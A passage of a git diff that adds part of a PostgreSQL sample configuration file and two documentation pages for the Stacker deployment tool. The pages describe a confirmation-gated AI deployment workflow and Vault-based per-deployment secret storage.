/mnt/server/archivedir/%f && cp %p /mnt/server/archivedir/%f' +#archive_timeout = 0 # force a logfile segment switch after this + # number of seconds; 0 disables + +# - Archive Recovery - + +# These are only used in recovery mode. + +#restore_command = '' # command to use to restore an archived logfile segment + # placeholders: %p = path of file to restore + # %f = file name only + # e.g. 'cp /mnt/server/archivedir/%f %p' +#archive_cleanup_command = '' # command to execute at every restartpoint +#recovery_end_command = '' # command to execute at completion of recovery + +# - Recovery Target - + +# Set these only when performing a targeted recovery. + +#recovery_target = '' # 'immediate' to end recovery as soon as a + # consistent state is reached + # (change requires restart) +#recovery_target_name = '' # the named restore point to which recovery will proceed + # (change requires restart) +#recovery_target_time = '' # the time stamp up to which recovery will proceed + # (change requires restart) +#recovery_target_xid = '' # the transaction ID up to which recovery will proceed + # (change requires restart) +#recovery_target_lsn = '' # the WAL LSN up to which recovery will proceed + # (change requires restart) +#recovery_target_inclusive = on # Specifies whether to stop: + # just after the specified recovery target (on) + # just before the recovery target (off) + # (change requires restart) +#recovery_target_timeline = 'latest' # 'current', 'latest', or timeline ID + # (change requires restart) +#recovery_target_action = 'pause' # 'pause', 'promote', 'shutdown' + # (change requires restart) + + +#------------------------------------------------------------------------------ +# REPLICATION +#------------------------------------------------------------------------------ + +# - Sending Servers - + +# Set these on the primary and on any standby that will send replication data. + +#max_wal_senders = 10 # max number of walsender processes + # (change requires restart) +#max_replication_slots = 10 # max number of replication slots + # (change requires restart) +#wal_keep_size = 0 # in megabytes; 0 disables +#max_slot_wal_keep_size = -1 # in megabytes; -1 disables +#wal_sender_timeout = 60s # in milliseconds; 0 disables +#track_commit_timestamp = off # collect timestamp of transaction commit + # (change requires restart) + +# - Primary Server - + +# These settings are ignored on a standby server. + +#synchronous_standby_names = '' # standby servers that provide sync rep + # method to choose sync standbys, number of sync standbys, + # and comma-separated list of application_name + # from standby(s); '*' = all +#vacuum_defer_cleanup_age = 0 # number of xacts by which cleanup is delayed + +# - Standby Servers - + +# These settings are ignored on a primary server. + +#primary_conninfo = '' # connection string to sending server +#primary_slot_name = '' # replication slot on sending server +#promote_trigger_file = '' # file name whose presence ends recovery +#hot_standby = on # "off" disallows queries during recovery + # (change requires restart) +#max_standby_archive_delay = 30s # max delay before canceling queries + # when reading WAL from archive; + # -1 allows indefinite delay +#max_standby_streaming_delay = 30s # max delay before canceling queries + # when reading streaming WAL; + # -1 allows indefinite delay +#wal_receiver_create_temp_slot = off # create temp slot if primary_slot_name + # is not set +#wal_receiver_status_interval = 10s # send replies at least this often + # 0 disables +#hot_standby_feedback = off # send info from standby to prevent + # query conflicts +#wal_receiver_timeout = 60s # time that receiver waits for + # communication from primary + # in milliseconds; 0 disables +#wal_retrieve_retry_interval = 5s # time to wait before retrying to + # retrieve WAL after a failed attempt +#recovery_min_apply_delay = 0 # minimum delay for applying changes during recovery + +# - Subscribers - + +# These settings are ignored on a publisher. + +#max_logical_replication_workers = 4 # taken from max_worker_processes + # (change requires restart) +#max_sync_workers_per_subscription = 2 # taken from max_logical_replication_workers + + +#------------------------------------------------------------------------------ +# QUERY TUNING +#------------------------------------------------------------------------------ + +# - Planner Method Configuration - + +#enable_async_append = on +#enable_bitmapscan = on +#enable_gathermerge = on +#enable_hashagg = on +#enable_hashjoin = on +#enable_incremental_sort = on +#enable_indexscan = on +#enable_indexonlyscan = on +#enable_material = on +#enable_memoize = on +#enable_mergejoin = on +#enable_nestloop = on +#enable_parallel_append = on +#enable_parallel_hash = on +#enable_partition_pruning = on +#enable_partitionwise_join = off +#enable_partitionwise_aggregate = off +#enable_seqscan = on +#enable_sort = on +#enable_tidscan = on + +# - Planner Cost Constants - + +#seq_page_cost = 1.0 # measured on an arbitrary scale +#random_page_cost = 4.0 # same scale as above +#cpu_tuple_cost = 0.01 # same scale as above +#cpu_index_tuple_cost = 0.005 # same scale as above +#cpu_operator_cost = 0.0025 # same scale as above +#parallel_setup_cost = 1000.0 # same scale as above +#parallel_tuple_cost = 0.1 # same scale as above +#min_parallel_table_scan_size = 8MB +#min_parallel_index_scan_size = 512kB +#effective_cache_size = 4GB + +#jit_above_cost = 100000 # perform JIT compilation if available + # and query more expensive than this; + # -1 disables +#jit_inline_above_cost = 500000 # inline small functions if query is + # more expensive than this; -1 disables +#jit_optimize_above_cost = 500000 # use expensive JIT optimizations if + # query is more expensive than this; + # -1 disables + +# - Genetic Query Optimizer - + +#geqo = on +#geqo_threshold = 12 +#geqo_effort = 5 # range 1-10 +#geqo_pool_size = 0 # selects default based on effort +#geqo_generations = 0 # selects default based on effort +#geqo_selection_bias = 2.0 # range 1.5-2.0 +#geqo_seed = 0.0 # range 0.0-1.0 + +# - Other Planner Options - + +#default_statistics_target = 100 # range 1-10000 +#constraint_exclusion = partition # on, off, or partition +#cursor_tuple_fraction = 0.1 # range 0.0-1.0 +#from_collapse_limit = 8 +#jit = on # allow JIT compilation +#join_collapse_limit = 8 # 1 disables collapsing of explicit + # JOIN clauses +#plan_cache_mode = auto # auto, force_generic_plan or + # force_custom_plan + + +#------------------------------------------------------------------------------ +# REPORTING AND LOGGING +#------------------------------------------------------------------------------ + +# - Where to Log - + +#log_destination = 'stderr' # Valid values are combinations of + # stderr, csvlog, syslog, and eventlog, + # depending on platform. csvlog + # requires logging_collector to be on. + +# This is used when logging to stderr: +#logging_collector = off # Enable capturing of stderr and csvlog + # into log files. Required to be on for + # csvlogs. + # (change requires restart) + +# These are only used if logging_collector is on: +#log_directory = 'log' # directory where log files are written, + # can be absolute or relative to PGDATA +#log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' # log file name pattern, + # can include strftime() escapes +#log_file_mode = 0600 # creation mode for log files, + # begin with 0 to use octal notation +#log_rotation_age = 1d # Automatic rotation of logfiles will + # happen after that time. 0 disables. +#log_rotation_size = 10MB # Automatic rotation of logfiles will + # happen after that much log output. + # 0 disables. +#log_truncate_on_rotation = off # If on, an existing log file with the + # same name as the new log file will be + # truncated rather than appended to. + # But such truncation only occurs on + # time-driven rotation, not on restarts + # or size-driven rotation. Default is + # off, meaning append to existing files + # in all cases. + +# These are relevant when logging to syslog: +#syslog_facility = 'LOCAL0' +#syslog_ident = 'postgres' +#syslog_sequence_numbers = on +#syslog_split_messages = on + +# This is only relevant when logging to eventlog (Windows): +# (change requires restart) +#event_source = 'PostgreSQL' + +# - When to Log - + +#log_min_messages = warning # values in order of decreasing detail: + # debug5 + # debug4 + # debug3 + # debug2 + # debug1 + # info + # notice + # warning + # error + # log + # fatal + # panic + +#log_min_error_statement = error # values in order of decreasing detail: + # debug5 + # debug4 + # debug3 + # debug2 + # debug1 + # info + # notice + # warning + # error + # log + # fatal + # panic (effectively off) + +#log_min_duration_statement = -1 # -1 is disabled, 0 logs all statements + # and their durations, > 0 logs only + # statements running at least this number + # of milliseconds + +#log_min_duration_sample = -1 # -1 is disabled, 0 logs a sample of statements + # and their durations, > 0 logs only a sample of + # statements running at least this number + # of milliseconds; + # sample fraction is determined by log_statement_sample_rate + +#log_statement_sample_rate = 1.0 # fraction of logged statements exceeding + # log_min_duration_sample to be logged; + # 1.0 logs all such statements, 0.0 never logs + + +#log_transaction_sample_rate = 0.0 # fraction of transactions whose statements + # are logged regardless of their duration; 1.0 logs all + # statements from all transactions, 0.0 never logs + +# - What to Log - + +#debug_print_parse = off +#debug_print_rewritten = off +#debug_print_plan = off +#debug_pretty_print = on +#log_autovacuum_min_duration = -1 # log autovacuum activity; + # -1 disables, 0 logs all actions and + # their durations, > 0 logs only + # actions running at least this number + # of milliseconds. +#log_checkpoints = off +#log_connections = off +#log_disconnections = off +#log_duration = off +#log_error_verbosity = default # terse, default, or verbose messages +#log_hostname = off +#log_line_prefix = '%m [%p] ' # special values: + # %a = application name + # %u = user name + # %d = database name + # %r = remote host and port + # %h = remote host + # %b = backend type + # %p = process ID + # %P = process ID of parallel group leader + # %t = timestamp without milliseconds + # %m = timestamp with milliseconds + # %n = timestamp with milliseconds (as a Unix epoch) + # %Q = query ID (0 if none or not computed) + # %i = command tag + # %e = SQL state + # %c = session ID + # %l = session line number + # %s = session start timestamp + # %v = virtual transaction ID + # %x = transaction ID (0 if none) + # %q = stop here in non-session + # processes + # %% = '%' + # e.g. '<%u%%%d> ' +#log_lock_waits = off # log lock waits >= deadlock_timeout +#log_recovery_conflict_waits = off # log standby recovery conflict waits + # >= deadlock_timeout +#log_parameter_max_length = -1 # when logging statements, limit logged + # bind-parameter values to N bytes; + # -1 means print in full, 0 disables +#log_parameter_max_length_on_error = 0 # when logging an error, limit logged + # bind-parameter values to N bytes; + # -1 means print in full, 0 disables +#log_statement = 'none' # none, ddl, mod, all +#log_replication_commands = off +#log_temp_files = -1 # log temporary files equal or larger + # than the specified size in kilobytes; + # -1 disables, 0 logs all temp files +#log_timezone = 'GMT' + + +#------------------------------------------------------------------------------ +# PROCESS TITLE +#------------------------------------------------------------------------------ + +#cluster_name = '' # added to process titles if nonempty + # (change requires restart) +#update_process_title = on + + +#------------------------------------------------------------------------------ +# STATISTICS +#------------------------------------------------------------------------------ + +# - Query and Index Statistics Collector - + +#track_activities = on +#track_activity_query_size = 1024 # (change requires restart) +#track_counts = on +#track_io_timing = off +#track_wal_io_timing = off +#track_functions = none # none, pl, all +#stats_temp_directory = 'pg_stat_tmp' + + +# - Monitoring - + +#compute_query_id = auto +#log_statement_stats = off +#log_parser_stats = off +#log_planner_stats = off +#log_executor_stats = off + + +#------------------------------------------------------------------------------ +# AUTOVACUUM +#------------------------------------------------------------------------------ + +#autovacuum = on # Enable autovacuum subprocess? 'on' + # requires track_counts to also be on. +#autovacuum_max_workers = 3 # max number of autovacuum subprocesses + # (change requires restart) +#autovacuum_naptime = 1min # time between autovacuum runs +#autovacuum_vacuum_threshold = 50 # min number of row updates before + # vacuum +#autovacuum_vacuum_insert_threshold = 1000 # min number of row inserts + # before vacuum; -1 disables insert + # vacuums +#autovacuum_analyze_threshold = 50 # min number of row updates before + # analyze +#autovacuum_vacuum_scale_factor = 0.2 # fraction of table size before vacuum +#autovacuum_vacuum_insert_scale_factor = 0.2 # fraction of inserts over table + # size before insert vacuum +#autovacuum_analyze_scale_factor = 0.1 # fraction of table size before analyze +#autovacuum_freeze_max_age = 200000000 # maximum XID age before forced vacuum + # (change requires restart) +#autovacuum_multixact_freeze_max_age = 400000000 # maximum multixact age + # before forced vacuum + # (change requires restart) +#autovacuum_vacuum_cost_delay = 2ms # default vacuum cost delay for + # autovacuum, in milliseconds; + # -1 means use vacuum_cost_delay +#autovacuum_vacuum_cost_limit = -1 # default vacuum cost limit for + # autovacuum, -1 means use + # vacuum_cost_limit + + +#------------------------------------------------------------------------------ +# CLIENT CONNECTION DEFAULTS +#------------------------------------------------------------------------------ + +# - Statement Behavior - + +#client_min_messages = notice # values in order of decreasing detail: + # debug5 + # debug4 + # debug3 + # debug2 + # debug1 + # log + # notice + # warning + # error +#search_path = '"$user", public' # schema names +#row_security = on +#default_table_access_method = 'heap' +#default_tablespace = '' # a tablespace name, '' uses the default +#default_toast_compression = 'pglz' # 'pglz' or 'lz4' +#temp_tablespaces = '' # a list of tablespace names, '' uses + # only default tablespace +#check_function_bodies = on +#default_transaction_isolation = 'read committed' +#default_transaction_read_only = off +#default_transaction_deferrable = off +#session_replication_role = 'origin' +#statement_timeout = 0 # in milliseconds, 0 is disabled +#lock_timeout = 0 # in milliseconds, 0 is disabled +#idle_in_transaction_session_timeout = 0 # in milliseconds, 0 is disabled +#idle_session_timeout = 0 # in milliseconds, 0 is disabled +#vacuum_freeze_table_age = 150000000 +#vacuum_freeze_min_age = 50000000 +#vacuum_failsafe_age = 1600000000 +#vacuum_multixact_freeze_table_age = 150000000 +#vacuum_multixact_freeze_min_age = 5000000 +#vacuum_multixact_failsafe_age = 1600000000 +#bytea_output = 'hex' # hex, escape +#xmlbinary = 'base64' +#xmloption = 'content' +#gin_pending_list_limit = 4MB + +# - Locale and Formatting - + +#datestyle = 'iso, mdy' +#intervalstyle = 'postgres' +#timezone = 'GMT' +#timezone_abbreviations = 'Default' # Select the set of available time zone + # abbreviations. Currently, there are + # Default + # Australia (historical usage) + # India + # You can create your own file in + # share/timezonesets/. +#extra_float_digits = 1 # min -15, max 3; any value >0 actually + # selects precise output mode +#client_encoding = sql_ascii # actually, defaults to database + # encoding + +# These settings are initialized by initdb, but they can be changed. +#lc_messages = 'C' # locale for system error message + # strings +#lc_monetary = 'C' # locale for monetary formatting +#lc_numeric = 'C' # locale for number formatting +#lc_time = 'C' # locale for time formatting + +# default configuration for text search +#default_text_search_config = 'pg_catalog.simple' + +# - Shared Library Preloading - + +#local_preload_libraries = '' +#session_preload_libraries = '' +#shared_preload_libraries = '' # (change requires restart) +#jit_provider = 'llvmjit' # JIT library to use + +# - Other Defaults - + +#dynamic_library_path = '$libdir' +#extension_destdir = '' # prepend path when loading extensions + # and shared objects (added by Debian) +#gin_fuzzy_search_limit = 0 + + +#------------------------------------------------------------------------------ +# LOCK MANAGEMENT +#------------------------------------------------------------------------------ + +#deadlock_timeout = 1s +#max_locks_per_transaction = 64 # min 10 + # (change requires restart) +#max_pred_locks_per_transaction = 64 # min 10 + # (change requires restart) +#max_pred_locks_per_relation = -2 # negative values mean + # (max_pred_locks_per_transaction + # / -max_pred_locks_per_relation) - 1 +#max_pred_locks_per_page = 2 # min 0 + + +#------------------------------------------------------------------------------ +# VERSION AND PLATFORM COMPATIBILITY +#------------------------------------------------------------------------------ + +# - Previous PostgreSQL Versions - + +#array_nulls = on +#backslash_quote = safe_encoding # on, off, or safe_encoding +#escape_string_warning = on +#lo_compat_privileges = off +#quote_all_identifiers = off +#standard_conforming_strings = on +#synchronize_seqscans = on + +# - Other Platforms and Clients - + +#transform_null_equals = off + + +#------------------------------------------------------------------------------ +# ERROR HANDLING +#------------------------------------------------------------------------------ + +#exit_on_error = off # terminate session on any error? +#restart_after_crash = on # reinitialize after backend crash? +#data_sync_retry = off # retry or panic on failure to fsync + # data? + # (change requires restart) +#recovery_init_sync_method = fsync # fsync, syncfs (Linux 5.8+) + + +#------------------------------------------------------------------------------ +# CONFIG FILE INCLUDES +#------------------------------------------------------------------------------ + +# These options allow settings to be loaded from files other than the +# default postgresql.conf. Note that these are directives, not variable +# assignments, so they can usefully be given more than once. + +#include_dir = '...' # include files ending in '.conf' from + # a directory, e.g., 'conf.d' +#include_if_exists = '...' # include file only if it exists +#include = '...' # include file + + +#------------------------------------------------------------------------------ +# CUSTOMIZED OPTIONS +#------------------------------------------------------------------------------ + +# Add settings for extensions here diff --git a/stacker/stacker/docs/AI_DEPLOYMENT_WORKFLOWS.md b/stacker/stacker/docs/AI_DEPLOYMENT_WORKFLOWS.md new file mode 100644 index 0000000..3a1d96f --- /dev/null +++ b/stacker/stacker/docs/AI_DEPLOYMENT_WORKFLOWS.md @@ -0,0 +1,204 @@ +# AI Deployment Workflows + +This guide documents the canonical AI-facing deployment workflow for Stacker. +It is intended for MCP clients, frontend chat integrations, and evaluation +fixtures that need a stable inspect -> explain -> plan -> apply -> recover +sequence. + +## Canonical tools + +| Tool | Purpose | Notes | +| --- | --- | --- | +| `get_deployment_state` | Inspect canonical machine-readable deployment state | Prefer this over parsing `get_deployment_status` | +| `explain_topology` | Explain runtime compose and env paths without secret values | Safe for path and service reasoning | +| `explain_env` | Explain env provenance for one app without disclosing secret values | Returns layer names, key names, hashes, and destination metadata | +| `get_deployment_plan` | Preview deploy or rollback actions and produce a stable fingerprint | Use before any mutation | +| `apply_deployment_plan` | Apply a previously previewed plan | Requires `confirm=true`, `expected_fingerprint`, and MFA | +| `get_deployment_events` | Observe progress, failure, and remediation signals | Use during apply and recovery loops | +| `get_app_env_vars` | Inspect app env values with explicit secure metadata | Prefer `environment_entries` for `secure`/`source` flags | + +## Compatibility rules + +1. Prefer `get_deployment_state`, `get_deployment_plan`, and + `get_deployment_events` over `get_deployment_status` when an AI client needs + stable structured fields. +2. Treat MCP tool payloads as explicit allow-list responses. Do not depend on + internal model fields that are not present in the documented response. +3. For tool failures, read `result.isError` and parse the JSON string in + `result.content[0].text` as a typed error envelope. +4. `apply_deployment_plan` is intentionally narrower than local CLI deploy: + server-side MCP supports `deploy_app` and `rollback_deploy`, but rejects full + `deploy` apply because that still requires local workspace context. + +## Recommended workflow + +### 1. Inspect current state + +Call `get_deployment_state` first to inspect status, drift, last command, agent +health, and app inventory. + +```json +{ + "name": "get_deployment_state", + "arguments": { + "deployment_hash": "deployment_state_online" + } +} +``` + +### 2. Explain topology or env provenance + +Use `explain_topology` when the AI needs runtime paths and service inventory. +Use `explain_env` when it needs to reason about env provenance for one app. +Use `get_app_env_vars` when it needs the redacted env payload itself together +with explicit `secure` and `source` metadata for each variable. + +```json +{ + "name": "explain_topology", + "arguments": { + "deployment_hash": "deployment_state_online" + } +} +``` + +```json +{ + "name": "explain_env", + "arguments": { + "deployment_hash": "deployment_state_online", + "app_code": "device-api" + } +} +``` + +```json +{ + "name": "get_app_env_vars", + "arguments": { + "project_id": 42, + "app_code": "device-api" + } +} +``` + +The response preserves the legacy redacted object in `environment_variables`, +but new clients should prefer `environment_entries` because Vault-backed +service-secret keys are marked with `secure=true` and `source="vault"` even +when their names are not obviously secret-like. + +### 3. Preview a plan and capture its fingerprint + +Always preview with `get_deployment_plan` before a mutation. The returned +`fingerprint` is the stale-plan guard that must be echoed into +`apply_deployment_plan`. + +```json +{ + "name": "get_deployment_plan", + "arguments": { + "deployment_hash": "deployment_state_online", + "operation": "deploy_app", + "app_code": "device-api" + } +} +``` + +For rollback preview: + +```json +{ + "name": "get_deployment_plan", + "arguments": { + "deployment_hash": "deployment_state_online", + "operation": "rollback_deploy", + "rollback_target": "previous" + } +} +``` + +### 4. Apply with confirmation + +Mutations require an explicit human confirmation signal. Frontends should gate +this tool behind a confirmation prompt and step-up auth/MFA check. + +```json +{ + "name": "apply_deployment_plan", + "arguments": { + "deployment_hash": "deployment_state_online", + "operation": "deploy_app", + "app_code": "device-api", + "expected_fingerprint": "plan_fingerprint_from_preview", + "confirm": true + } +} +``` + +### 5. Recover using events and rollback + +If an apply fails or the deployment enters an unhealthy state: + +1. Call `get_deployment_events` to read remediation signals. +2. Preview a rollback with `get_deployment_plan` and + `operation=rollback_deploy`. +3. Apply that rollback with `apply_deployment_plan`. +4. Re-read `get_deployment_events` and `get_deployment_state` until the state is + healthy or a typed error indicates the next remediation step. + +## Frontend integration requirements + +- Add `apply_deployment_plan` to the frontend's confirmation-required tool list. +- Preserve the exact `expected_fingerprint` returned by preview. +- Surface typed MCP errors directly instead of flattening them into generic + failure text. +- Do not request or display raw secret values from explain or state payloads; + those surfaces are intentionally redaction-first. + +## Evaluation fixtures + +The versioned evaluation scenarios live in +`tests/contracts/stacker-ai-workflows.v1alpha1.json`. +The stable response schemas and samples live alongside them in +`tests/contracts/`. + +## Qwen website scenario bootstrap + +Stacker also includes a model-targeted convenience layer for simple website +projects. This is separate from the canonical MCP workflow above. + +### Trigger + +- `stacker init --with-ai` generates `stacker.yml` and `.stacker/` artifacts as + usual. +- If the project looks like a simple HTML/static site or a Next.js app, and the + configured Ollama model contains `qwen2.5-code` or `qwen2.5-coder`, Stacker + offers to bootstrap the built-in `website-deploy` scenario. + +### What the bootstrap does + +1. Reads the generated `stacker.yml` and local project hints. +2. Seeds known scenario variables such as project name, app type, proxy shape, + cloud settings, and AI provider/model settings. +3. Prompts only for missing deploy-critical values such as public domain, image + repository/tag, and cloud target details. +4. Saves state under `.stacker/scenarios/qwen2.5-code/website-deploy/state.json`. +5. Starts the scenario at the `init-validate` step and prints the next exact + commands to run. + +### Continue a scenario later + +```bash +stacker ai ask "continue" --scenario website-deploy --step init-validate +stacker ai ask "continue" --scenario website-deploy --step image-publish +stacker ai ask "continue" --scenario website-deploy --step cloud-deploy +stacker ai --scenario website-deploy --step runtime-ops +``` + +### Scenario content layout + +- Built-in files live under `scenarios/qwen2.5-code/website-deploy/`. +- Project-local overrides can be placed under + `.stacker/scenarios/qwen2.5-code/website-deploy/`. +- The saved state file lives beside those overrides in the same `.stacker` + directory tree. diff --git a/stacker/stacker/docs/APP_DEPLOYMENT.md b/stacker/stacker/docs/APP_DEPLOYMENT.md new file mode 100644 index 0000000..d0a6ecb --- /dev/null +++ b/stacker/stacker/docs/APP_DEPLOYMENT.md @@ -0,0 +1,485 @@ +# App Configuration Deployment Strategy (Stacker) + +This document outlines the configuration management strategy for Stacker, covering how app configurations flow from the UI through Stacker's database to Vault and ultimately to Status Panel agents on deployed servers. + +--- + +## Architecture Overview + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ Configuration Flow │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌────────────┐ │ +│ │ Frontend │───▶│ Stacker │───▶│ Vault │───▶│ Status │ │ +│ │ (Next.js) │ │ (Rust) │ │ (HashiCorp) │ │ Panel │ │ +│ └──────────────┘ └──────────────┘ └──────────────┘ └────────────┘ │ +│ │ │ │ │ │ +│ │ AddAppDeployment │ ConfigRenderer │ KV v2 Storage │ Fetch │ +│ │ Modal │ + Tera Templates │ Per-Deployment │ Apply │ +│ ▼ ▼ ▼ ▼ │ +│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌────────────┐ │ +│ │ User selects │ │ project_app │ │ Encrypted │ │ Files on │ │ +│ │ apps, ports, │ │ table (DB) │ │ secrets with │ │ deployment │ │ +│ │ env vars │ │ + versioning │ │ audit trail │ │ server │ │ +│ └──────────────┘ └──────────────┘ └──────────────┘ └────────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## Vault Token Security Strategy (Selected Approach) + +### Decision: Per-Deployment Scoped Tokens + +Each deployment receives its own Vault token, scoped to only access that deployment's secrets. This is the **recommended and selected approach** for security reasons. + +| Security Property | How It's Achieved | +|-------------------|-------------------| +| **Tenant Isolation** | Each deployment has isolated Vault path: `{prefix}/{deployment_hash}/*` | +| **Blast Radius Limitation** | Compromised agent can only access its own deployment's secrets | +| **Revocation Granularity** | Individual deployments can be revoked without affecting others | +| **Audit Trail** | All Vault accesses are logged per-deployment for forensics | +| **Compliance** | Meets SOC2/ISO 27001 requirements for secret isolation | + +### Vault Path Structure + +```text +{VAULT_AGENT_PATH_PREFIX}/ +└── {deployment_hash}/ + ├── status_panel_token # Agent authentication token (TTL: 30 days) + ├── compose_agent_token # Docker Compose agent token + └── apps/ + ├── _compose/ + │ └── _compose # Global docker-compose.yml (legacy) + ├── {app_code}/ + │ ├── _compose # Per-app docker-compose.yml + │ ├── _env # Runtime env payload for canonical .env + │ ├── _configs # Bundled config files (JSON array) + │ └── _config # Legacy single config file + └── {app_code_2}/ + ├── _compose + ├── _env + └── _configs +``` + +### Vault Key Format + +| Key Format | Vault Path | Description | Example | +|------------|------------|-------------|---------| +| `{app_code}` | `apps/{app_code}/_compose` | docker-compose.yml | `telegraf` → compose | +| `{app_code}_env` | `apps/{app_code}/_env` | Runtime env payload for canonical `.env` | `telegraf_env` → env vars | +| `{app_code}_configs` | `apps/{app_code}/_configs` | Bundled config files (JSON) | `telegraf_configs` → multiple configs | +| `{app_code}_config` | `apps/{app_code}/_config` | Single config (legacy) | `nginx_config` → nginx.conf | +| `_compose` | `apps/_compose/_compose` | Global compose (legacy) | Full stack compose | + +### Token Lifecycle + +1. **Provisioning** (Install Service): + - During deployment, Install Service creates a new Vault token + - Token policy restricts access to `{prefix}/{deployment_hash}/*` only + - Token stored in Vault at `{prefix}/{deployment_hash}/status_panel_token` + - Token injected into Status Panel agent via environment variable + +2. **Configuration Sync** (Stacker → Vault): + - When `project_app` is created/updated, `ConfigRenderer` generates files + - `ProjectAppService.sync_to_vault()` pushes configs to Vault: + - **Compose** stored at `{app_code}` key → `apps/{app_code}/_compose` + - **Runtime env payloads** stored at `{app_code}_env` key → `apps/{app_code}/_env` + - **Config bundles** stored at `{app_code}_configs` key → `apps/{app_code}/_configs` + - Config bundle is a JSON array containing all config files for the app + +3. **Command Enrichment** (Stacker → Status Panel): + - When `deploy_app` command is issued, Stacker enriches the command payload + - Fetches from Vault: `{app_code}` (compose), `{app_code}_env` (runtime env), `{app_code}_configs` (bundle) + - For CLI-provided app-local config bundles, merges the app-local service + definition into the full project compose, then merges the freshly rendered + service-secret env into any `.env` file referenced by that app's compose + `env_file` + - If runtime env rendering fails, command creation fails rather than falling + back to raw bundled `.env` content that could omit remote secrets + - Adds all configs to `config_files` array in command payload + - Status Panel receives complete config set ready to write + +4. **Runtime** (Status Panel Agent): + - Writes the runtime env payload to `/home/trydirect/project/.env` with + `0600` permissions + - Uses compose-relative `env_file: .env` for generated compose files + - For app-local compose files such as `/docker//compose.yml`, writes + bundled config files under `/opt/stacker/deployments//files/...`; if + that compose file references an app-local `.env`, the file contains the + local `.env` content plus the Vault-rendered service secrets for the same + app target + - Refuses to overwrite drifted env content unless the command is forced + - Agent reads `VAULT_TOKEN` from environment on startup + - Fetches configs via `VaultClient.fetch_app_config()` + - Writes files to destination paths with specified permissions + - For `deploy_app` commands, config_files are written before docker compose up + +5. **Revocation** (On Deployment Destroy): + - Install Service deletes the deployment's Vault path recursively + - Token becomes invalid immediately + - All secrets for that deployment are removed + +### Vault Policy Template + +```hcl +# Policy: status-panel-{deployment_hash} +# Created by Install Service during deployment provisioning + +path "{prefix}/{deployment_hash}/*" { + capabilities = ["create", "read", "update", "delete", "list"] +} + +# Deny access to other deployments (implicit, but explicit for clarity) +path "{prefix}/*" { + capabilities = ["deny"] +} +``` + +### Why NOT Shared Tokens? + +| Approach | Risk | Decision | +|----------|------|----------| +| **Single Platform Token** | One compromised agent exposes ALL deployments | ❌ Rejected | +| **Per-Customer Token** | Compromises all of one customer's deployments | ❌ Rejected | +| **Per-Deployment Token** | Limits blast radius to single deployment | ✅ Selected | + +--- + +## Stacker Components + +### Service Deployment Scope Convention + +Default service deployments are project-scoped. + +When a service is declared in `stacker.yml`, `stacker service deploy ` and +related non-platform service deploy flows must update the main project compose +deployment: + +```text +/home/trydirect/project/docker-compose.yml +``` + +Do not create a separate compose project such as +`/home/trydirect//docker-compose.yml` for a normal custom service unless +the user explicitly opts into standalone mode, for example with a future +`--standalone` or `--scope standalone` flag. + +Only platform-managed services are allowed to live outside the project directory +by default. Current examples: + +```text +/home/trydirect/statuspanel +/home/trydirect/nginx_proxy_manager +``` + +This convention prevents duplicate runtime ownership, where the same service +exists both inside `/home/trydirect/project/docker-compose.yml` and as a separate +standalone compose project. Before adding or changing service deployment code, +verify whether the service is project-scoped or platform-managed and add +regression tests for the chosen scope. + +Stacker-managed compose services must include stable runtime identity labels +under the owned `stacker.my` reverse-DNS prefix: + +```yaml +labels: + my.stacker.project_id: "123" + my.stacker.target: "cloud" + my.stacker.scope: "project" + my.stacker.service: "smtp" + my.stacker.dns: "smtp" +``` + +Use `my.stacker.service` for the logical Stacker service code and +`my.stacker.dns` for the Docker network name that agents should use at runtime. +For Nginx Proxy Manager, this means `my.stacker.service=nginx_proxy_manager` and +`my.stacker.dns=nginx-proxy-manager`. + +### 1. ConfigRenderer Service + +**Location**: `src/services/config_renderer.rs` + +**Purpose**: Converts `ProjectApp` records into deployable configuration files using Tera templates. + +**Responsibilities**: +- Render docker-compose.yml from app definitions +- Generate .env files with merged environment variables (stored with `_env` suffix) +- Bundle multiple config files as JSON array (stored with `_configs` suffix) +- Sync rendered configs to Vault under separate keys + +**Key Methods**: +```rust +// Render all configs for a project +let bundle = renderer.render_bundle(&project, &apps, deployment_hash)?; + +// Sync to Vault - stores configs at: +// - {app_code}_env for .env files +// - _compose for docker-compose.yml +renderer.sync_to_vault(&bundle).await?; + +// Sync single app's .env to Vault +renderer.sync_app_to_vault(&app, &project, deployment_hash).await?; +``` + +### 2. VaultService + +**Location**: `src/services/vault_service.rs` + +**Purpose**: Manages configuration storage in HashiCorp Vault with structured key patterns. + +**Key Patterns**: +```rust +// Store compose file +vault.store_app_config(deployment_hash, "telegraf", &compose_config).await?; +// → Vault path: {prefix}/{deployment_hash}/apps/telegraf/_compose + +// Store .env file +vault.store_app_config(deployment_hash, "telegraf_env", &env_config).await?; +// → Vault path: {prefix}/{deployment_hash}/apps/telegraf/_env + +// Store bundled config files +vault.store_app_config(deployment_hash, "telegraf_configs", &bundle_config).await?; +// → Vault path: {prefix}/{deployment_hash}/apps/telegraf/_configs +``` + +### 3. Config Bundling (store_configs_to_vault_from_params) + +**Location**: `src/routes/command/create.rs` + +**Purpose**: Extracts and bundles config files from deploy_app parameters for Vault storage. + +**Flow**: +```rust +// 1. Extract compose file from config_files array +// 2. Collect non-compose config files (telegraf.conf, .env, etc.) +// 3. Bundle as JSON array with metadata +let configs_json: Vec = app_configs.iter().map(|(name, cfg)| { + json!({ + "name": name, + "content": cfg.content, + "content_type": cfg.content_type, + "destination_path": cfg.destination_path, + "file_mode": cfg.file_mode, + "owner": cfg.owner, + "group": cfg.group, + }) +}).collect(); + +// 4. Store bundle to Vault under {app_code}_configs key +vault.store_app_config(deployment_hash, &format!("{}_configs", app_code), &bundle_config).await?; +``` + +### 4. Command Enrichment (enrich_deploy_app_with_compose) + +**Location**: `src/routes/command/create.rs` + +**Purpose**: Enriches deploy_app command with configs from Vault before sending to Status Panel. + +**Flow**: +```rust +// 1. Fetch compose from Vault: {app_code} key +// 2. Fetch bundled configs: {app_code}_configs key (or fallback to _config) +// 3. Render runtime env from app env + remote service secrets +// 4. Merge rendered env into app-local compose env_file entries when present +// 5. Add canonical runtime env and bundled files to config_files array +// 6. Send enriched command to Status Panel +``` + +When a CLI request already includes `compose_content` and config files from an +app-local compose bundle, Stacker uses the app-local service definition for the +target app but merges it into the full project compose before sending +`compose_content` to the Status agent. The agent still writes one 